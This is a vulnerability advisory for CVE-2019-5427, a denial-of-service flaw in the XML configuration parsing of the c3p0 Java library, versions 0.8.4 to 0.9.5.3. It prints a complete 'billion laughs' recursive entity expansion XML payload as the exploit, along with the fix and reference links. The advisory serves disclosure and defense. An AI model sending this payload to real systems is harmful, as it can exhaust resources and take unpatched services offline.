Vulnerability identifier: #VU18785

Vulnerability risk: Medium

CVSSv3.1: 6.7 [CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RL:O/RC:C]

CVE-ID: CVE-2019-5427

CWE-ID: CWE-20

Exploitation vector: Network

Exploit availability: No

Vulnerable software:
c3p0
Universal components / Libraries / Libraries used by multiple products

Vendor: mchange.com

Description

The vulnerability allows a remote attacker to perform a denial of service (DoS) attack.

The vulnerability exists due to insufficient validation of user-supplied input when processing XML files within the c3p0/src/java/com/mchange/v2/c3p0/cfg/C3P0ConfigXmlUtils.java. A remote attacker can create a specially crafted XML file, pass it to the affected application and trigger recursive entity expansion when loading configuration. This results in denial of service (DoS) attack aka billion laughs attack.

Exploit:

<?xml version="1.0"?>
<!DOCTYPE lolz [
        <!ENTITY lol "lol">
        <!ELEMENT lolz (#PCDATA)>
        <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
        <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
        <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
        <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
        <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
        <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
        <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
        <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
        <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
        ]>
<lolz>&lol9;</lolz>

Mitigation
Install updates from vendor's website.

Vulnerable software versions

c3p0: 0.8.4 - 0.9.5.3

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External links
http://hackerone.com/reports/509315
http://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BFIVX6HOVNLAM7W3SUAMHYRNLCVQSAWR/
http://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MQ47OFV57Y2DAHMGA5H3JOL4WHRWRFN4/

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Q & A

Can this vulnerability be exploited remotely?

Yes. This vulnerability can be exploited by a remote non-authenticated attacker via the Internet.

Is there known malware, which exploits this vulnerability?

No. We are not aware of malware exploiting this vulnerability. However, proof of concept for this vulnerability is available.